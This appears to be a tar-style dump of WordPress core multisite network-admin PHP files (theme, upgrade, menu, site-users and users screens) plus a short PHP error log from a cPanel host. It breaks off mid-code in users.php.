wp_enqueue_script( 'theme-preview' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( current_user_can( 'install_themes' ) ) : ?> <a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add Theme' ); ?></a> <?php endif; ?> <?php if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( $s ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php $message = ''; $type = 'success'; if ( isset( $_GET['enabled'] ) ) { $enabled = absint( $_GET['enabled'] ); if ( 1 === $enabled ) { $message = __( 'Theme enabled.' ); } else { $message = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme enabled.', '%s themes enabled.', $enabled ), number_format_i18n( $enabled ) ); } } elseif ( isset( $_GET['disabled'] ) ) { $disabled = absint( $_GET['disabled'] ); if ( 1 === $disabled ) { $message = __( 'Theme disabled.' ); } else { $message = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme disabled.', '%s themes disabled.', $disabled ), number_format_i18n( $disabled ) ); } } elseif ( isset( $_GET['deleted'] ) ) { $deleted = absint( $_GET['deleted'] ); if ( 1 === $deleted ) { $message = __( 'Theme deleted.' ); } else { $message = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme deleted.', '%s themes deleted.', $deleted ), number_format_i18n( $deleted ) ); } } elseif ( isset( $_GET['enabled-auto-update'] ) ) { $enabled = absint( $_GET['enabled-auto-update'] ); if ( 1 === $enabled ) { $message = __( 'Theme will be auto-updated.' ); } else { $message = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ), number_format_i18n( $enabled ) ); } } elseif ( isset( $_GET['disabled-auto-update'] ) ) { $disabled = absint( $_GET['disabled-auto-update'] ); if ( 1 === $disabled ) { $message = __( 'Theme will no longer be auto-updated.' ); } else { $message = sprintf( /* translators: %s: Number of themes. */ _n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ), number_format_i18n( $disabled ) ); } } elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) { $message = __( 'No theme selected.' ); $type = 'error'; } elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) { $message = __( 'You cannot delete a theme while it is active on the main site.' ); $type = 'error'; } if ( '' !== $message ) { wp_admin_notice( $message, array( 'type' => $type, 'dismissible' => true, 'id' => 'message', ) ); } ?> <form method="get"> <?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?> </form> <?php $wp_list_table->views(); if ( 'broken' === $status ) { echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>'; } ?> <form id="bulk-action-form" method="post"> <input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" /> <input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" /> <?php $wp_list_table->display(); ?> </form> </div> <?php wp_print_request_filesystem_credentials_modal(); wp_print_admin_notice_templates(); wp_print_update_row_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; network/upgrade.php 0000644 00000011437 15233246127 0010410 0 ustar 00 <?php /** * Multisite upgrade administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require_once ABSPATH . WPINC . '/http.php'; /** * @global int $wp_db_version WordPress database version. */ global $wp_db_version; // Used in the HTML title tag. $title = __( 'Upgrade Network' ); $parent_file = 'upgrade.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' . '<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' . '<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); require_once ABSPATH . 'wp-admin/admin-header.php'; if ( ! current_user_can( 'upgrade_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } echo '<div class="wrap">'; echo '<h1>' . __( 'Upgrade Network' ) . '</h1>'; $action = $_GET['action'] ?? 'show'; switch ( $action ) { case 'upgrade': $n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0; if ( $n < 5 ) { update_site_option( 'wpmu_upgrade_site', $wp_db_version ); } $site_ids = get_sites( array( 'spam' => 0, 'deleted' => 0, 'archived' => 0, 'network_id' => get_current_network_id(), 'number' => 5, 'offset' => $n, 'fields' => 'ids', 'order' => 'DESC', 'orderby' => 'id', 'update_site_meta_cache' => false, ) ); if ( empty( $site_ids ) ) { echo '<p>' . __( 'All done!' ) . '</p>'; break; } echo '<ul>'; foreach ( (array) $site_ids as $site_id ) { switch_to_blog( $site_id ); $siteurl = site_url(); $upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' ); restore_current_blog(); echo "<li>$siteurl</li>"; $response = wp_remote_get( $upgrade_url, array( 'timeout' => 120, 'httpversion' => '1.1', 'sslverify' => false, ) ); if ( is_wp_error( $response ) ) { wp_die( sprintf( /* translators: 1: Site URL, 2: Server error message. */ __( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ), $siteurl, '<em>' . $response->get_error_message() . '</em>' ) ); } /** * Fires after the Multisite DB upgrade for each site is complete. * * @since MU (3.0.0) * * @param array $response The upgrade response array. */ do_action( 'after_mu_upgrade', $response ); /** * Fires after each site has been upgraded. * * @since MU (3.0.0) * * @param int $site_id The Site ID. */ do_action( 'wpmu_upgrade_site', $site_id ); } echo '</ul>'; ?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p> <script> <!-- function nextpage() { location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>"; } setTimeout( "nextpage()", 250 ); //--> </script> <?php break; case 'show': default: if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $wp_db_version ) : ?> <h2><?php _e( 'Database Update Required' ); ?></h2> <p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p> <?php endif; ?> <p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p> <p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p> <?php /** * Fires before the footer on the network upgrade screen. * * @since MU (3.0.0) */ do_action( 'wpmu_upgrade_page' ); break; } ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> network/theme-install.php 0000644 00000000566 15233246127 0011530 0 ustar 00 <?php /** * Install theme network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/theme-install.php'; network/error_log 0000644 00000004120 15233246127 0010154 0 ustar 00 [31-Jul-2026 04:06:31 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 04:06:31 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/network/admin.php(13): require_once() #1 /home/dxgrqzvp/public_html/wp-admin/network/plugins.php(11): require_once('/home/dxgrqzvp/...') #2 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 04:39:57 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 04:39:57 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/network/admin.php(13): require_once() #1 /home/dxgrqzvp/public_html/wp-admin/network/plugins.php(11): require_once('/home/dxgrqzvp/...') #2 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:47 UTC] PHP Warning: require_once(/home/dxgrqzvp/public_html/wp-load.php): Failed to open stream: No such file or directory in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 [31-Jul-2026 17:38:47 UTC] PHP Fatal error: Uncaught Error: Failed opening required '/home/dxgrqzvp/public_html/wp-load.php' (include_path='.:/opt/cpanel/ea-php83/root/usr/share/pear') in /home/dxgrqzvp/public_html/wp-admin/admin.php:35 Stack trace: #0 /home/dxgrqzvp/public_html/wp-admin/network/admin.php(13): require_once() #1 /home/dxgrqzvp/public_html/wp-admin/network/index.php(11): require_once('/home/dxgrqzvp/...') #2 {main} thrown in /home/dxgrqzvp/public_html/wp-admin/admin.php on line 35 network/menu.php 0000644 00000011276 15233246127 0007726 0 ustar 00 <?php /** * Build Network Administration Menu. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ // Don't load directly. if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /* translators: Network menu item. */ $menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' ); $submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' ); if ( current_user_can( 'update_core' ) ) { $cap = 'update_core'; } elseif ( current_user_can( 'update_plugins' ) ) { $cap = 'update_plugins'; } elseif ( current_user_can( 'update_themes' ) ) { $cap = 'update_themes'; } else { $cap = 'update_languages'; } $update_data = wp_get_update_data(); if ( $update_data['counts']['total'] ) { $submenu['index.php'][10] = array( sprintf( /* translators: %s: Number of available updates. */ __( 'Updates %s' ), sprintf( '<span class="update-plugins count-%s"><span class="update-count">%s</span></span>', $update_data['counts']['total'], number_format_i18n( $update_data['counts']['total'] ) ) ), $cap, 'update-core.php', ); } else { $submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' ); } unset( $cap ); $submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' ); $menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' ); /* translators: Sites menu item. */ $menu[5] = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' ); $submenu['sites.php'][5] = array( __( 'All Sites' ), 'manage_sites', 'sites.php' ); $submenu['sites.php'][10] = array( __( 'Add Site' ), 'create_sites', 'site-new.php' ); $menu[10] = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); $submenu['users.php'][5] = array( __( 'All Users' ), 'manage_network_users', 'users.php' ); $submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) { $menu[15] = array( sprintf( /* translators: %s: Number of available theme updates. */ __( 'Themes %s' ), sprintf( '<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>', $update_data['counts']['themes'], number_format_i18n( $update_data['counts']['themes'] ) ) ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance', ); } else { $menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' ); } $submenu['themes.php'][5] = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' ); $submenu['themes.php'][10] = array( __( 'Add Theme' ), 'install_themes', 'theme-install.php' ); $submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' ); if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) { $menu[20] = array( sprintf( /* translators: %s: Number of available plugin updates. */ __( 'Plugins %s' ), sprintf( '<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>', $update_data['counts']['plugins'], number_format_i18n( $update_data['counts']['plugins'] ) ) ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins', ); } else { $menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' ); } $submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' ); $submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' ); $submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); $menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' ); if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) { $submenu['settings.php'][5] = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' ); $submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' ); } unset( $update_data ); $menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' ); require_once ABSPATH . 'wp-admin/includes/menu.php'; network/profile.php 0000644 00000000376 15233246127 0010421 0 ustar 00 <?php /** * User profile network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/profile.php'; network/site-users.php 0000644 00000027013 15233246127 0011061 0 ustar 00 <?php /** * Edit Site Users Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 ); } $wp_list_table = _get_list_table( 'WP_Users_List_Table' ); $wp_list_table->prepare_items(); get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site users list' ), 'heading_pagination' => __( 'Site users list navigation' ), 'heading_list' => __( 'Site users list' ), ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( 'update', wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); switch_to_blog( $id ); $action = $wp_list_table->current_action(); if ( $action ) { switch ( $action ) { case 'newuser': check_admin_referer( 'add-user', '_wpnonce_add-new-user' ); $user = $_POST['user']; if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) { $update = 'err_new'; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) ); if ( false === $user_id ) { $update = 'err_new_dup'; } else { $result = add_user_to_blog( $id, $user_id, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } else { $update = 'newuser'; /** * Fires after a user has been created via the network site-users.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_users_created_user', $user_id ); } } } break; case 'adduser': check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! empty( $_POST['newuser'] ) ) { $update = 'adduser'; $newuser = $_POST['newuser']; $user = get_user_by( 'login', $newuser ); if ( $user && $user->exists() ) { if ( ! is_user_member_of_blog( $user->ID, $id ) ) { $result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } } else { $update = 'err_add_member'; } } else { $update = 'err_add_notfound'; } } else { $update = 'err_add_notfound'; } break; case 'remove': if ( ! current_user_can( 'remove_users' ) ) { wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 ); } check_admin_referer( 'bulk-users' ); $update = 'remove'; if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; remove_user_from_blog( $user_id, $id ); } } elseif ( isset( $_GET['user'] ) ) { remove_user_from_blog( $_GET['user'] ); } else { $update = 'err_remove'; } break; case 'promote': check_admin_referer( 'bulk-users' ); if ( ! current_user_can( 'promote_users' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 ); } $editable_roles = get_editable_roles(); $role = $_REQUEST['new_role']; // Mock `none` as editable role. $editable_roles['none'] = array( 'name' => __( '— No role for this site —' ), ); if ( empty( $editable_roles[ $role ] ) ) { wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 ); } if ( 'none' === $role ) { $role = ''; } if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; $update = 'promote'; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; if ( ! current_user_can( 'promote_user', $user_id ) ) { wp_die( __( 'Sorry, you are not allowed to edit this user.' ), 403 ); } // If the user doesn't already belong to the blog, bail. if ( ! is_user_member_of_blog( $user_id ) ) { wp_die( '<h1>' . __( 'An error occurred.' ) . '</h1>' . '<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>', 403 ); } $user = get_userdata( $user_id ); // If $role is empty, none will be set. $user->set_role( $role ); } } else { $update = 'err_promote'; } break; default: if ( ! isset( $_REQUEST['users'] ) ) { break; } check_admin_referer( 'bulk-users' ); $userids = $_REQUEST['users']; /** This action is documented in wp-admin/network/site-themes.php */ $referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores $update = $action; break; } wp_safe_redirect( add_query_arg( 'update', $update, $referer ) ); exit; } restore_current_blog(); if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; /** * Filters whether to show the Add Existing User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add Existing User form. Default true. */ if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) { wp_enqueue_script( 'user-suggest' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <script> var current_site_id = <?php echo absint( $id ); ?>; </script> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-users', ) ); if ( isset( $_GET['update'] ) ) : $message = ''; $type = 'error'; switch ( $_GET['update'] ) { case 'adduser': $type = 'success'; $message = __( 'User added.' ); break; case 'err_add_member': $message = __( 'User is already a member of this site.' ); break; case 'err_add_fail': $message = __( 'User could not be added to this site.' ); break; case 'err_add_notfound': $message = __( 'Enter the username of an existing user.' ); break; case 'promote': $type = 'success'; $message = __( 'Changed roles.' ); break; case 'err_promote': $message = __( 'Select a user to change role.' ); break; case 'remove': $type = 'success'; $message = __( 'User removed from this site.' ); break; case 'err_remove': $message = __( 'Select a user to remove.' ); break; case 'newuser': $type = 'success'; $message = __( 'User created.' ); break; case 'err_new': $message = __( 'Enter the username and email.' ); break; case 'err_new_dup': $message = __( 'Duplicated username or email address.' ); break; } wp_admin_notice( $message, array( 'type' => $type, 'dismissible' => true, 'id' => 'message', ) ); endif; ?> <form class="search-form" method="get"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-users.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php /** * Fires after the list table on the Users screen in the Multisite Network Admin. * * @since 3.1.0 */ do_action( 'network_site_users_after_list_table' ); /** This filter is documented in wp-admin/network/site-users.php */ if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?> <h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2> <form action="site-users.php?action=adduser" id="adduser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td> </tr> <tr> <th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_adduser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?> </form> <?php endif; ?> <?php /** * Filters whether to show the Add New User form on the Multisite Users screen. * * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels, * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above. * * @since 3.1.0 * * @param bool $bool Whether to show the Add New User form. Default true. */ if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?> <h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2> <form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text ltr" name="user[username]" id="user_username" /></td> </tr> <tr> <th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th> <td><input type="text" class="regular-text ltr" name="user[email]" id="user_email" /></td> </tr> <tr> <th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_newuser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?> </form> <?php endif; ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/admin.php 0000644 00000002000 15233246127 0010033 0 ustar 00 <?php /** * WordPress Network Administration Bootstrap * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ define( 'WP_NETWORK_ADMIN', true ); /** Load WordPress Administration Bootstrap */ require_once dirname( __DIR__ ) . '/admin.php'; // Do not remove this check. It is required by individual network admin pages. if ( ! is_multisite() ) { wp_die( __( 'Multisite support is not enabled.' ) ); } $redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) ); /** * Filters whether to redirect the request to the Network Admin. * * @since 3.2.0 * * @param bool $redirect_network_admin_request Whether the request should be redirected. */ $redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request ); if ( $redirect_network_admin_request ) { wp_redirect( network_admin_url() ); exit; } unset( $redirect_network_admin_request ); network/index.php 0000644 00000005537 15233246127 0010074 0 ustar 00 <?php /** * Multisite administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** Load WordPress dashboard API */ require_once ABSPATH . 'wp-admin/includes/dashboard.php'; if ( ! current_user_can( 'manage_network' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Dashboard' ); $parent_file = 'index.php'; $overview = '<p>' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '</p>'; $overview .= '<p>' . __( 'From here you can:' ) . '</p>'; $overview .= '<ul><li>' . __( 'Add and manage sites or users' ) . '</li>'; $overview .= '<li>' . __( 'Install and activate themes or plugins' ) . '</li>'; $overview .= '<li>' . __( 'Update your network' ) . '</li>'; $overview .= '<li>' . __( 'Modify global network settings' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $overview, ) ); $quick_tasks = '<p>' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To add a new user, <strong>click Create a New User</strong>.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To add a new site, <strong>click Create a New Site</strong>.' ) . '</li></ul>'; $quick_tasks .= '<p>' . __( 'To search for a user or site, use the search boxes.' ) . '</p>'; $quick_tasks .= '<ul><li>' . __( 'To search for a user, <strong>enter an email address or username</strong>. Use a wildcard to search for a partial username, such as user*.' ) . '</li>'; $quick_tasks .= '<li>' . __( 'To search for a site, <strong>enter the path or domain</strong>.' ) . '</li></ul>'; get_current_screen()->add_help_tab( array( 'id' => 'quick-tasks', 'title' => __( 'Quick Tasks' ), 'content' => $quick_tasks, ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/">Documentation on the Network Admin</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); wp_dashboard_setup(); wp_enqueue_script( 'dashboard' ); wp_enqueue_script( 'plugin-install' ); add_thickbox(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php echo esc_html( $title ); ?></h1> <div id="dashboard-widgets-wrap"> <?php wp_dashboard(); ?> <div class="clear"></div> </div><!-- dashboard-widgets-wrap --> </div><!-- wrap --> <?php wp_print_community_events_templates(); require_once ABSPATH . 'wp-admin/admin-footer.php'; network/users.php 0000644 00000024543 15233246127 0010124 0 ustar 00 <?php /** * Multisite users administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( isset( $_GET['action'] ) ) { /** This action is documented in wp-admin/network/edit.php */ do_action( 'wpmuadminedit' ); switch ( $_GET['action'] ) { case 'deleteuser': if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } check_admin_referer( 'deleteuser' ); $id = (int) $_GET['id']; if ( $id > 1 ) { $_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays. // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; echo '<div class="wrap">'; confirm_delete_users( $_POST['allusers'] ); echo '</div>'; require_once ABSPATH . 'wp-admin/admin-footer.php'; } else { wp_redirect( network_admin_url( 'users.php' ) ); } exit; case 'allusers': if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) { check_admin_referer( 'bulk-users-network' ); $doaction = $_POST['action']; $userfunction = ''; foreach ( (array) $_POST['allusers'] as $user_id ) { if ( ! empty( $user_id ) ) { switch ( $doaction ) { case 'delete': if ( ! current_user_can( 'delete_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } // Used in the HTML title tag. $title = __( 'Users' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; echo '<div class="wrap">'; confirm_delete_users( $_POST['allusers'] ); echo '</div>'; require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; case 'spam': $user = get_userdata( $user_id 